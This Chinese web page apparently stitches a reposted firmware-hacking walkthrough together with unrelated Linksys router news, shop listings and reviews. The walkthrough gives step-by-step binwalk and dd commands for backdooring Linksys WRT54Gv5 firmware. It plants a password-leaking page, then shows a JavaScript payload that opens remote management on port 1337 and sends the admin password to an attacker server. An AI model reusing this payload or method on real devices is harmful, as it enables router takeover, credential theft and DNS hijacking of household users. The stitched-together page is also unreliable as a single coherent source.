- A+
CiscoLinksys無線路由固件安全分析與后門研究
最近我對(duì)嵌入式設(shè)備安全方面比較感興趣，所以我決定找點(diǎn)東西練練手，于是我在淘寶上搜了一下，發(fā)現(xiàn)Linksys WRT54Gv5無線路由比較流行，決定就拿這個(gè)下手了。
首先要做的就是對(duì)固件開始逆向，看一下它的內(nèi)部構(gòu)件都是什么玩意兒。這個(gè)過程我也發(fā)現(xiàn)了這是一件多么令人蛋疼的事情，因?yàn)閘inksys本身已經(jīng)不再承載固件了，另外，由于版權(quán)保護(hù)的問題，也沒人跟我一樣這么做。這些事簡(jiǎn)直蠢到家了，不過最終我還是偶然發(fā)現(xiàn)了一個(gè)固件副本，然后用它給我的路由器刷了固件以便分析時(shí)與硬件保持一致，然后就開始上手了。
分析
在看了不少devttys0.com博客上講的東西之后，我決定用binwalk來分析固件文件。
下面是分析后的結(jié)果：
mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.binDECIMAL HEX DESCRIPTION512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV) 101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc." 103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes 1182692 0x120BE4 TROC filesystem, 102 file entries 1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358} 1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
完整的戳這http://pastebin.com/raw.php?i=1FnPL3Fv
看完這個(gè)之后我覺得自己還是很幸運(yùn)的，下面簡(jiǎn)單地說一下這些東西代表的含義：
0×200偏移之后是MIPS bootloader；0x18D10偏移之后是Wind River Systems Inc版權(quán)聲明，這行很重要因?yàn)樗麄冏隽宋沂稚线@個(gè)路由的操作系統(tǒng)Vxworks Operating System；0x194F0偏移之后是Vxworks OS/文件系統(tǒng)，不過我現(xiàn)在暫時(shí)沒能力反匯編（沒有文檔化的大文件系統(tǒng)肯定不好搞）；一堆類似于appky.htm這樣gzip壓縮的普通文件；
直觀上來看，firmware是這樣分布的：[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]
有個(gè)現(xiàn)象比較幸運(yùn)，那就是實(shí)際上這些壓縮著的普通文件都是一個(gè)緊接著一個(gè)的，這樣我們就知道了每個(gè)文件都是從哪里開始然后從哪里結(jié)束的，這些偏移可以通過不同文件類型中內(nèi)置的Magic Number來推算出的，就是利用幾個(gè)特殊的byte來標(biāo)識(shí)出文件類型。舉個(gè)例子，gzip的Magic Number是1f 8b – binwalk找到這幾個(gè)數(shù)然后在二進(jìn)制文件中對(duì)這些文件進(jìn)行定位。
然后邏輯上來講，我們可以用同樣大小的二進(jìn)制數(shù)據(jù)來替換這些文件（要依據(jù)于固件更新后文件的絕對(duì)位置）；
開搞
一個(gè)小小的dd命令就可以從路由器固件中摘出來一個(gè).htm文件，其實(shí)binwalk也有內(nèi)置的導(dǎo)出函數(shù)用來提取文件，不過我沒有操作成功（你可以試一下）；
dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename
我們先來搞一點(diǎn)簡(jiǎn)單的，先把Unauthorized.htm和lastpassword.htm這兩個(gè)文件提取出來，我特么完全不知道lastpassword.htm這個(gè)文件為毛會(huì)在固件里面出現(xiàn)，但是它可以把當(dāng)前路由里面的管理密碼以文本的格式輸出??！可能是程序員開發(fā)固件的時(shí)候不小心留下了這么個(gè)逗逼的調(diào)試用文件。
lastpassword.htm：
<HTML><HEAD><META http-equiv=Content-Type content="text/html; charset=iso-8859-1"></HEAD><BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW></PRE></BODY></HTML>
你應(yīng)該注意到了lastpassword.htm里面的這些東西：
<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
這個(gè)標(biāo)簽將會(huì)被路由的當(dāng)前密碼代替，所以我們也許就能把這個(gè)放到Unauthorized.htm里面，這樣無論密碼怎么變我們都能有路由的管理權(quán)限；
還記得不，我們有點(diǎn)蛋疼的地方就是要保證替換的文件要和以前的大小一樣，因?yàn)?htm文件將會(huì)被壓縮，所以問題出在這個(gè)地方，不過還好，可以解決。
一番捯飭之后，我們最終搞成這個(gè)樣子：
<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4><!--<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> -->
然后ls一下看一下文件大?。?/p>
9699468 12 -rw-r--r-- 144 Oct 18 14:44 Unauthorized.htm.gz9699467 12 -rw-rw-r-- 144 Oct 18 14:13 Unauthorized_original.htm.gz
現(xiàn)在再看一下以前binwalk后的結(jié)果：
1338096 0x146AF0 GIF image data, version "89a", 192 x 641340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 20091341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 20091344585 0x148449 gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
然后我們把固件從Unauthorized.htm中間劈開，加上我們的文件再組合在一起：
# Cut off first half of firmware right before Unauthorized.htm.gzdd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half# Cut out the second half of the firmware right after Unauthorized.htm.gzdd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half# Add our backdoored Unauthorized.htm.gz to the firmwarecat Unauthorized.htm.gz >> first_half# Put the pieces togethercat second_half >> first_half
Cool！然后我們?cè)贆z查一下確保自己所有的步驟都是對(duì)的然后開始升級(jí)固件：
我承認(rèn)第一次搞這個(gè)有點(diǎn)小緊張，總害怕不好使，但是很榮幸，刷完固件之后成功了！
登錄一下：
然后取消進(jìn)去Unauthorized.htm頁面：
F12：
mandatory即為路由密碼！
Perfect！然后現(xiàn)在我們就有了一個(gè)比較隱秘的控制路由器的方式，但是這個(gè)東西不好大范圍搞，我們?cè)趺礃硬拍茏龀鰜硪粋€(gè)類似于僵尸網(wǎng)絡(luò)一樣的payload呢？
后門
我看了一下別人寫的payload，最終決定用JS來寫后門，因?yàn)镴S的跨平臺(tái)性很好。而且JS內(nèi)建了足夠多的函數(shù)來讓我們隨意更改配置，愛咋用咋用。雖然我們沒法去控制路由器來去DDos，但是我們可以更改路由器的DNS，控制了DNS我們就可以來對(duì)路由器的使用者做中間人攻擊。這是因?yàn)榇蟛糠值挠?jì)算機(jī)都直接采用了路由器選擇的DNS，所以你簡(jiǎn)簡(jiǎn)單單控制了一臺(tái)路由就相當(dāng)于黑了一片PC，這個(gè)案例就相當(dāng)于Zlob trojan，事實(shí)也證明了這個(gè)東西具有極大的殺傷力。
開搞。
路由設(shè)置頁面的主頁是basic.htm文件，一旦用戶登錄就立即被重定向到這個(gè)頁面，所以如果我們把后門加到這個(gè)頁面就會(huì)有極大的命中率，我們制作一個(gè)發(fā)送用戶名和密碼到我們控制的服務(wù)器上的payload，同時(shí)開啟遠(yuǎn)程認(rèn)證端口1337。
編了點(diǎn)JS代碼，然后我們手里就有貨了：
function evil_payload(){ xml = new XMLHttpRequest(); xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri'); var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en"; xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xml.setRequestHeader("Content-length", params.length); xml.setRequestHeader("Connection", "close"); xml.send(params); thb = new XMLHttpRequest(); thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>'); thb.send();}
這兩個(gè)request里面，我們開啟了遠(yuǎn)程控制端口，然后把用戶名和密碼發(fā)送到了我們控制的主機(jī)上。
然后用上面同樣地方法我們把這個(gè)后門添加到固件里面（記住，大小一定要一樣）。
刷固件，然后，wallah！
[gif動(dòng)圖，請(qǐng)戳：http://blog.depressedmarvin.com/images/2014/10/08/router_backdoor.gif]
當(dāng)然，這只是個(gè)proof，真正后門在做的時(shí)候應(yīng)該會(huì)可以C&C來實(shí)時(shí)控制路由的DNS Server。
比你想的要容易的多吧，事實(shí)上，我之后又分析了一些路由器固件，有同樣的問題存在。
下次再會(huì)。
[原文來自linksys-wrt56g-backdoor-payload，F(xiàn)reeBuf小編嘎巴搬運(yùn)，轉(zhuǎn)載請(qǐng)注明來自FreeBuf.COM]
LINKSYSEA6500AC1750千兆雙頻無線路由器（V2版）
關(guān)注“艾淘家居”，享受極致生活
LINKSYS EA6500 AC1750 千兆雙頻無線路由器（V2版）
Linksys是民用路由器高端品牌，EA6500是其次旗艦路由器。當(dāng)前，思科已與Belkin貝爾金 達(dá)成協(xié)議,將家庭網(wǎng)絡(luò)業(yè)務(wù)部門轉(zhuǎn)讓給后者，包括相關(guān)技術(shù)，員工及Linksys品牌，后續(xù)產(chǎn)品如EA6900再無思科血統(tǒng)。EA6500內(nèi)置六天線，在802.11.ac下支持5GHZ 1.3Gbps和2.4GHZ 450Mbps的雙頻高速傳輸；此款為EA6500 V2版，新版帶有USB3.0接口，可外接移動(dòng)硬盤共享，此外V2版的處理器也改為了BCM4708 雙核800M，并且內(nèi)存從128M升級(jí)為256M，相比V1升級(jí)相當(dāng)明顯，但是需要注意，在使用優(yōu)化較差的第三方固件后處理器會(huì)出現(xiàn)發(fā)熱量大的問題，所以刷固件前請(qǐng)仔細(xì)研究。
思科計(jì)劃出售Linksys無線路由器業(yè)務(wù)
比特(ChinaByte)12月17日消息，彭博社援引消息人士的說法稱，思科已聘請(qǐng)巴克萊銀行為L(zhǎng)inksys無線路由器業(yè)務(wù)尋找買家。而早在去年就有消息稱，思科會(huì)出售售Linksys家庭網(wǎng)絡(luò)產(chǎn)品業(yè)務(wù)和WebEx視頻聊天、協(xié)作工具業(yè)務(wù)。
外界認(rèn)為，Linksys主要是一個(gè)消費(fèi)品牌，并且不在思科的五大核心業(yè)務(wù)之內(nèi)。思科的主要核心是面向大企業(yè)客戶的業(yè)務(wù)，如路由器、交換機(jī)、協(xié)作、數(shù)據(jù)中心虛擬化、云計(jì)算、架構(gòu)和視頻。
CES2015：Linksys推出開源802.11ac千兆無線路由器
之前，Linksys曾經(jīng)推出的一款基于開源802.11ac千兆無線路由器WRT1900AC，售價(jià)為279美元，這個(gè)價(jià)格讓很多小型辦公室/家庭辦公室（SOHO）和小型企業(yè)望而祛步。而在CES2015上，Linksys推出了一款價(jià)位更低的基于開源的802.11ac Wi-Fi路由器：該WRT1200AC雙頻千兆Wi-Fi路由器的售價(jià)為179.99美元。
新的Linksys WRT1200AC為企業(yè)提供了一個(gè)更為實(shí)惠的802.11ac無線網(wǎng)絡(luò)連接和一個(gè)完全開源固件的解決方案
對(duì)于這個(gè)價(jià)格，我們或許可以選擇到多種多樣的Wi-Fi路由器。相比一個(gè)3x3 MIMO天線無線路由器而言，WRT1200AC僅提供了2×2 MIMO的天線組合。而其吞吐量卻與WRT1900AC的速度一樣快，每秒1.3Gbps。在實(shí)踐中，在一個(gè)小辦公室中其WRT1200AC每秒達(dá)到了500兆的高速傳輸。
同時(shí)兼顧2.4Hz和5GHz雙頻段的AC1200路由器是由一個(gè)1.3GHz的ARM雙核處理器提供支持，同時(shí)閃存為512MB的DDR3和128MB的內(nèi)存支持。貝爾金（目前為L(zhǎng)inksys的母公司）產(chǎn)品經(jīng)理表示，“該內(nèi)存可以升級(jí)，它還配備有eSATA/USB2.0和USB3.0接口，4個(gè)千兆以太網(wǎng)端口和一個(gè)千兆WAN端口?！?/p>
而真正吸引我們的不是WRT1200AC的硬件，而是它的軟件。在與Marvell的合作中，Linksys公司很高興地宣布，WRT1900AC芯片組使用的開源Wi-Fi驅(qū)動(dòng)程序是最流行的嵌入式Linux固件之一OpenWrt。此驅(qū)動(dòng)程序現(xiàn)在可以在最新的開源固件映像快照。在這一點(diǎn)上，只有Linux和OpenWrt的專家可以做到完全支持。
Linux固件開發(fā)人員講到，讓Marvell公司的802.11ac無線芯片組真正的與一個(gè)完全開源的驅(qū)動(dòng)程序組合起來已經(jīng)成為他們的一項(xiàng)目標(biāo)，當(dāng)時(shí)在發(fā)布1900AC時(shí)這點(diǎn)還沒有實(shí)現(xiàn)。而對(duì)于原有的WRT1900AC用戶，同樣可以使用新的更全面的開源固件。
盡管如此，Linksys公司也承認(rèn)，“這是一個(gè)最初的版本，并計(jì)劃在驅(qū)動(dòng)程序細(xì)化后，發(fā)送到上游Linux內(nèi)核，完全開源固件計(jì)劃可用于即將發(fā)布的WRT1200AC路由器上?！?/p>
Linksys公司的產(chǎn)品經(jīng)理邁克陳在一份聲明中講到，“關(guān)于質(zhì)量和性能，Linksys希望擴(kuò)大我們的WRT產(chǎn)品線，為客戶提供整體的家庭網(wǎng)絡(luò)解決方案，通過存儲(chǔ)解決方案或額外的范圍WRT網(wǎng)絡(luò)體驗(yàn)擴(kuò)展到整個(gè)家庭或辦公室。新的WRT1200AC路由器使我們能夠滿足那些希望使用WRT路由器的用戶，但這需要一個(gè)更加親民的價(jià)格?！?/p>
據(jù)悉，該WRT1200AC將在2015年春天正式發(fā)布，我們也希望看到其不僅在家庭，而且在SOHO一族和小型企業(yè)中得到應(yīng)用。
獲悉最前沿的企業(yè)級(jí)IT與云計(jì)算資訊，點(diǎn)擊文章標(biāo)題下“ZDNetChina”鏈接，或通訊錄搜索“ZDNetChina”，即可關(guān)注訂閱，和查看精彩的歷史信息。
KoolShare論壇LinksysEA6900AC1900無線路由器開箱評(píng)測(cè)
目前Netgear的R7000和Asus的RT-AC68U是在中國(guó)大陸市場(chǎng)上最高端的AC1900無線路由器，Linksys的EA6900由于沒有大陸行貨并不多見，下面就讓我們揭開這款同樣頂級(jí)的路由器的神秘面紗
首先是開箱部分，這臺(tái)是美版的EA6900，美版相對(duì)于港版，有更多的信道選擇，其他則差別不大
包裝盒正面，下面列出了一堆支持的功能和技術(shù)
包裝盒背面，主要是規(guī)格對(duì)比
包裝盒側(cè)面
打開包裝盒
路由器主體還是采用了Linksys經(jīng)典的飛碟造型，磨砂塑料手感良好，中間是金屬的裝飾條，上面刻著品牌和型號(hào)，整體外觀非常的大氣低調(diào)
路由器底部主要是散熱孔，貼紙上有出廠SSID和密碼
路由器前面是各種接口，從左到右SMA天線接口，電源鍵，重置，USB3.0，USB2.0，WAN口，4個(gè)LAN口，電源插口
路由器底部的兩個(gè)側(cè)面都是散熱孔
三根天線，相對(duì)于AC68U和R7000顯得比較短小
路由器裝上天線，三根天線還是顯得比較短小
兩眼的電源適配器，12V 3.5A的規(guī)格，說明這貨的功耗也不低啊
保修卡，安裝光盤和附帶的網(wǎng)線
最后來一張全家福
評(píng)測(cè)稍后補(bǔ)上
Linksys發(fā)布了新的無線路由器，號(hào)稱速度最快！
近日，Linksys發(fā)布了號(hào)稱目前最快的無線路由器EA8500，能夠提供2.53Ghz的帶寬，這比普通路由器的帶寬高了不少，具體價(jià)格為279.99美元。
據(jù)悉，該路由器支持802.11ac標(biāo)準(zhǔn)，搭載高通雙核處理器，采用了Multi-User MIMO技術(shù)，支持5GHz頻率和2.4GHz頻率，最高能夠提供2.53Gbps的帶寬，其中5GHz頻段能夠提供1.733Gbps的帶寬，2.4GHz頻段能夠提供800Mbps的帶寬。
此外，EA8500還配有4個(gè)千兆端口、一個(gè)USB3.0接口以及一個(gè)USB2.0/eSATA接口。并且同時(shí)支持PPTP、IPSec和L2TP協(xié)議的虛擬專有網(wǎng)絡(luò)。
Linksys在2013年被思科轉(zhuǎn)手給周邊產(chǎn)品商貝爾金。
Linksys發(fā)布最快無線路由器EA8500
思科旗下的網(wǎng)絡(luò)產(chǎn)品字品牌Linksys發(fā)布了號(hào)稱目前最快的無線路由器EA8500。該路由器采用802.11ac標(biāo)準(zhǔn)，搭載高通雙核處理器，搭載Multi-User MIMO技術(shù)，支持5GHz頻率和2.4GHz頻率，能夠提供2.53Gbps的帶寬，其中5GHz頻段能夠提供1.733Gbps的帶寬，2.4GHz頻段能夠提供800Mbps的帶寬。售價(jià)為279.99美元。
Linksys聲稱搭載Multi-User MIMO技術(shù)后，該路由器能夠提供2.53Ghz的帶寬，這比我們?cè)谑忻嫔峡吹降钠胀酚善鞯?00Mbps等帶寬的4-5倍。該路由器配備4個(gè)千兆端口和一個(gè)USB3.0接口，同時(shí)還配置了一個(gè)USB2.0/eSATA接口。同時(shí)支持PPTP、IPSec和L2TP協(xié)議的虛擬專有網(wǎng)。
思科Linksys無線路由器無線穿墻wifi企業(yè)級(jí)無線AP中繼路由器
品牌: Cisco/思科
思科(Cisco)型號(hào): 其它思科(Cisco)型號(hào)
是否無線: 無線
無線傳輸速度: 300Mbps
有線傳輸率: 10/100Mbps
無線傳輸速率: 300Mbps
網(wǎng)絡(luò)標(biāo)準(zhǔn): 802.11b 802.11g 802.11n
無線網(wǎng)絡(luò)支持頻率: 2.4G
適用對(duì)象: 企業(yè)級(jí)路由器 網(wǎng)絡(luò)安全路由器 電信級(jí)高端路由器 家用
USB接口數(shù)量: 1個(gè)
是否支持VPN: 不支持
是否內(nèi)置防火墻: 是
是否支持WDS: 支持
是否支持WPS: 支持
是否可拆: 不可拆
售后服務(wù): 店鋪三包
成色: 全新
如需了解更多，請(qǐng)閱讀全文，價(jià)格優(yōu)惠，原價(jià)388元，現(xiàn)特價(jià)銷售！
【每日白菜價(jià)】思科Cisco-LinksysEA4500智能云端千兆450M雙頻無線路由器
更多澳洲商品推薦和有趣話題，請(qǐng)點(diǎn)擊標(biāo)題下方的“AtMates每次”關(guān)注公眾號(hào)。
Linksys EA4500是思科EA系列無線路由里的旗艦型產(chǎn)品，外形延續(xù)了上代E4200的外觀風(fēng)格，機(jī)身上仍舊搭配有銀色金屬裝飾條，典雅高端。采用marvell公司的芯片解決方案，CPU采用Marvell 88F6W01，頻率高達(dá)1.2ghz。內(nèi)存為DDR2 128M，F(xiàn)LASH不再是以往路由器上常見的normal flash，而是采用了nand flash，容量為128m。支持2.4 + 5GHz雙頻模式，內(nèi)置6根天線，支持3x3 MIMO技術(shù)，無線覆蓋出色，可以提供超強(qiáng)信號(hào)，更快的速度，以及更穩(wěn)定的無線傳輸，雙頻模式下均具有高達(dá)450Mbps的理論無線傳輸速率，用于觀看高清網(wǎng)絡(luò)電視HDTV基本毫無壓力。
亮點(diǎn)是型號(hào)中的“A”代表“App-Enabled”，即支持手機(jī)APP應(yīng)用的含義。使用思科連接云門戶網(wǎng)站或思科連接云的移動(dòng)應(yīng)用程序，用戶可通過Android和iOS設(shè)備對(duì)路由器和互聯(lián)網(wǎng)進(jìn)行管理。該路由器還支持第三方移動(dòng)應(yīng)用程序，用戶只需在路由器配置中進(jìn)行添加即可。
EA4500后面有4個(gè)千兆LAN口，1個(gè)千兆WAN口，1個(gè)USB 2.0接口，1個(gè)WPS加密按鍵，1個(gè)Reset鍵和1個(gè)電源接口。USB接口可連接外置存儲(chǔ)設(shè)備，具NAS功能，而且作為一個(gè)NAS服務(wù)器，EA4500也做得相當(dāng)出色。
當(dāng)加上外置硬盤，通過千兆以太網(wǎng)，EA4500可提供高達(dá)20MBps(163Mbps)的讀取速度和高達(dá)19MBps(153Mbps) 的寫入速度。在可作為NAS服務(wù)器的路由器產(chǎn)品中，這些速度表現(xiàn)都是非常給力的。電源110V~240V全球通用，可直接使用。
這款機(jī)器價(jià)格已經(jīng)從299降到79，是不折騰固件用戶的最佳選擇之一。
猛擊左下角“閱讀原文”帶你直達(dá)商品鏈接。
蘋果用戶搜索“AtMates - 每次”下載我們的手機(jī)APP，更多精彩生活盡在掌握！
安卓用戶敬請(qǐng)期待APP近期上線！
評(píng)測(cè)|經(jīng)典再現(xiàn)LinksysAC1200無線路由器試用
智嗨網(wǎng) smarthey.com探索智能生活
發(fā)現(xiàn) | 探索 | 開拓
提及Linksys，很多人的第一反應(yīng)是WRT54G這款里程碑式的產(chǎn)品，當(dāng)年憑借先進(jìn)的網(wǎng)絡(luò)技術(shù)底蘊(yùn)和高可靠性，成為所有用戶都想擁有的一款神器。但隨著Linksys在國(guó)內(nèi)渠道的收縮和品牌的轉(zhuǎn)換，我們只能通過淘寶和海淘購買到他們的產(chǎn)品，而外形更時(shí)尚、內(nèi)置天線的EA系列路由器也替代了WRT經(jīng)典系列成為L(zhǎng)inksys的代言者，這難免讓W(xué)RT的擁躉們感到失落。
下半年，已經(jīng)被貝爾金收至麾下的linksys終于重返國(guó)內(nèi)市場(chǎng)，并首先發(fā)布了兩款WRT系列無線路由器WRT1900AC和WRT1200AC，希望通過兩款中高端產(chǎn)品在市場(chǎng)中的回歸，重塑自己在高端用戶市場(chǎng)中的形象，畢竟在極路由、小米等一大波“智能化”洗禮后，用戶對(duì)于路由器的需求也發(fā)生了變化，除了傳統(tǒng)功能需求外，更多場(chǎng)景智能化的功能應(yīng)用成為大家新的需求。
Linksys WRT1200AC是針對(duì)中高端用戶推出的產(chǎn)品，雖然進(jìn)入國(guó)內(nèi)市場(chǎng)動(dòng)作稍晚，但作為“新”人它的身價(jià)比同類產(chǎn)品高出不少，這與目前市場(chǎng)流行“大白菜“風(fēng)向截然不同，也讓我們對(duì)它有更多期待，否則單憑過往的成績(jī)和經(jīng)典設(shè)計(jì)回歸市場(chǎng)，不僅難以服眾，更不像是實(shí)力派的作風(fēng)。本次試用Linksys WRT1200AC無線路由器給我們一個(gè)時(shí)間檢驗(yàn)的機(jī)會(huì)，看看千元的差價(jià)到底有什么不同。
懷舊設(shè)計(jì) 延續(xù)經(jīng)典情懷
linksys的產(chǎn)品包裝一向比較樸實(shí)，WRT1200AC包裝盒沒有過多的設(shè)計(jì)，我們一眼就能分辨出產(chǎn)品的外形。
在紙殼包裝的側(cè)面，分列了中英文產(chǎn)品參數(shù)說明以及MAC地址等重要信息，讓用戶能快速索引產(chǎn)品信息，讓用戶更快速熟悉上手WRT1200AC使用。
開啟包裝盒，WRT1200AC藍(lán)黑色的經(jīng)典配色讓我們有中穿越時(shí)空的感覺，不過與當(dāng)年的WRT54G相比，它的體積明顯大了不止一圈。包裝盒內(nèi)全部采用黑色涂層，在WRT1200AC四周包裹了1厘米的PVC材質(zhì)保護(hù)，即使運(yùn)輸過程有磕碰撞擊都能較好保護(hù)好產(chǎn)品免受損壞。
包裝盒內(nèi)，除了WRT1200AC路由主機(jī)外，還配備了雙5db天線、千兆網(wǎng)線、多國(guó)轉(zhuǎn)接口和電源適配器等配件，當(dāng)然產(chǎn)品說明書和質(zhì)保書必不可少。不過從電源適配器的多標(biāo)準(zhǔn)轉(zhuǎn)接頭判斷，國(guó)行版WRT1200AC是國(guó)際通用版直接換包裝而來，稍后我們也印證了這個(gè)猜測(cè)。
兩根5db天線做工非常規(guī)整，支持360°旋轉(zhuǎn)，讓W(xué)RT1200AC可以在任何環(huán)境下都能適用。從天線的細(xì)節(jié)上看，Linksys對(duì)產(chǎn)品依然保持較高標(biāo)準(zhǔn)，天線的包裹屏蔽以及接口的屏蔽都做得非常細(xì)致，原因在于不僅要滿足2.4 GHz和5 GHz雙頻無線連接的需求，WRT1200AC還支持波束成形技術(shù)，就是通過調(diào)節(jié)天線搭配，可以為單個(gè)設(shè)備連接提供強(qiáng)化的信號(hào)，優(yōu)先享有更大的帶寬和速率支持，確保重要設(shè)備的連接穩(wěn)定性。
裝上天線后，WRT1200AC徹底變身為天線寶寶，配色還是經(jīng)典藍(lán)黑兩色搭配，但是從外形設(shè)計(jì)和尺寸都遠(yuǎn)遠(yuǎn)超過當(dāng)年的WRT54G。和近年來火熱的EA內(nèi)置天線系列區(qū)別很大。如果EA系列是潮范兒，那么WRT系列就顯得更老成，一眼就能看出這家伙“專業(yè)”賣相。
正面的內(nèi)凹菱角設(shè)計(jì)讓它在老成的經(jīng)典形象中添加了一些新意，搭配細(xì)條型的顯示燈，看上去有點(diǎn)像機(jī)器人頭盔設(shè)計(jì)，設(shè)計(jì)感和個(gè)性更強(qiáng)烈一些。
側(cè)面看，WRT1200AC突出線條設(shè)計(jì)展示得更加明顯，整個(gè)產(chǎn)品的立體感也呈現(xiàn)出來了，比四方的傳統(tǒng)設(shè)計(jì)有進(jìn)步。
在智能路由器大幅削減有線接口的時(shí)候，Linksys又顯示出自己專業(yè)的一面，配備了4個(gè)千兆以太網(wǎng)端口，提供USB 3.0和eSATA接口，支持高速外置大容量存儲(chǔ)設(shè)備，無須任何設(shè)置即可即插即用。另外，WRT1200AC還提供一鍵無線加密保護(hù)、復(fù)位和開關(guān)按鍵， 功能設(shè)計(jì)考慮比較周全，特別無線加密保護(hù)對(duì)于商用用戶應(yīng)用是必要的。
按照路由器一貫做法，底部產(chǎn)品標(biāo)簽標(biāo)注了產(chǎn)品SN、MAC和SSID，默認(rèn)無線加密碼和友客訪問密碼也列其中，主要作用是便于用戶查詢相關(guān)信息和訪問密碼。
WRT1200AC路由器采用雙核1.3GHz 的ARM處理器，搭配512MB RAM和128MB ROM，硬件性能的提升，無疑讓它在數(shù)據(jù)流切換、多線程任務(wù)、連接能力和穩(wěn)定性都大幅提升，不過產(chǎn)品發(fā)熱量也隨之提升。所以我們看到機(jī)身外殼上下都遍布了散熱孔，孔徑約為3.5mm。雖然解決了散熱問題，但沒配備防塵網(wǎng)，使得機(jī)身內(nèi)部很容易積累灰塵，這可是電子產(chǎn)品的一大威脅。
材質(zhì)上雖然是ABS工程塑料，但表面經(jīng)過磨砂處理后，上手手感比較細(xì)膩，和其他采用金屬外殼產(chǎn)品相比，也并不遜色多少。Linksys外殼模具制作水準(zhǔn)較高，制作出的外殼精度和一致性都不錯(cuò)，幾乎所有接縫處縫隙都比較緊密。看來想要拆解它，還需要找點(diǎn)竅門。
其實(shí)只要擰下四個(gè)墊腳的螺絲后，拆解WRT1200AC就非常簡(jiǎn)單，只需要注意前后三部分連接的暗扣就可以了。
WRT1200AC主板采用了多層PCB設(shè)計(jì)，線路走線、元器件布局以及貼片工藝都保持了一貫的高標(biāo)準(zhǔn)，巨大的鋁制散熱器是為雙核CPU構(gòu)建的被動(dòng)散熱方案，面對(duì)一些更嚴(yán)苛的環(huán)境應(yīng)用，Linksys也留有后招，設(shè)計(jì)了電源接口為加裝風(fēng)扇主動(dòng)散熱做了準(zhǔn)備。
PCB背面的覆銅工藝也是為了起到更好的散熱效果，顯然WRT1200AC對(duì)于路由器運(yùn)行穩(wěn)定性的的標(biāo)準(zhǔn)比普通消費(fèi)級(jí)高，而是按照企業(yè)級(jí)的標(biāo)準(zhǔn)制定。
為什么會(huì)采用更高的企業(yè)標(biāo)準(zhǔn)，我們先看清WRT1200AC的芯片布局和溫度測(cè)試情況。
WRT1200AC采用整套Marvell網(wǎng)絡(luò)解決解決方案，處理器為Marvell 88F6820雙核1.3G處理器（圖示A區(qū)），5GHz和2.4GHz分別采用Marvell 88W8864和Marvell 88W8864兩顆無線芯片（圖示B區(qū)），有線網(wǎng)絡(luò)控制器為Marvell 88E6176（圖示C區(qū)）。
這三個(gè)區(qū)域無疑都是散熱需求較高的區(qū)域，實(shí)際測(cè)試中也印證了。測(cè)試室溫為27.3℃，路由器負(fù)載5臺(tái)手機(jī)和5臺(tái)電腦，除了正常的瀏覽和在線視頻播放外，4臺(tái)電腦兩兩對(duì)應(yīng)通過無線傳輸1080p電影文件。10分鐘后，ABC三個(gè)區(qū)域的溫度變化比較明顯，在A區(qū)由于沒有加裝散熱片，所以溫度達(dá)到44.3℃，而覆蓋BC兩區(qū)的散熱片也達(dá)到40.2℃，應(yīng)對(duì)這類日常辦公低負(fù)載顯然還能得心應(yīng)手，如果長(zhǎng)時(shí)間處于高負(fù)載的壓力下，WRT1200AC應(yīng)該改善A區(qū)無線放大區(qū)域的散熱能力，加裝散熱片或改裝為主動(dòng)散熱均可。
詳細(xì)設(shè)置 全英文控制界面
雖然這次試用是國(guó)行版Linksys WRT1200AC，但是并沒有提供中文設(shè)置界面，這也是之前我們?yōu)槭裁催@只是國(guó)際版的，而并沒有體現(xiàn)國(guó)行版的元素。
在瀏覽器輸入“10.47.101.17”即進(jìn)入設(shè)置界面，整體布局是Linksys的一貫風(fēng)格，左欄為項(xiàng)目選擇，右欄為項(xiàng)目顯示細(xì)則，用戶能夠一眼清晰明白各個(gè)設(shè)置要素。不過對(duì)于不喜歡折騰的用戶就比較痛苦，全英文界面上手難度不小。
從設(shè)備上我們可以看到Linksys WRT1200AC分別有4個(gè)SSID，5GHz和2.4GHz分別有2個(gè)，區(qū)隔開用戶和客人的不同應(yīng)用需求，能夠更好管理分配客戶端等。
對(duì)于接入的每一款接入設(shè)備，WRT1200AC都有細(xì)致的管理，從優(yōu)先級(jí)、帶寬以及權(quán)限限制，并針對(duì)游戲、視頻有特別優(yōu)化和分配。
對(duì)于路由器的每一 個(gè)細(xì)節(jié)和選項(xiàng)，都能通過界面進(jìn)行設(shè)置調(diào)整，對(duì)于熱衷動(dòng)手的用戶而言自然是好事，但是也會(huì)導(dǎo)致非“專業(yè)”用戶失去耐心。不過也有需求更多的發(fā)燒友，WRT1200AC也支持OpenWRT，所以請(qǐng)盡情折騰吧。
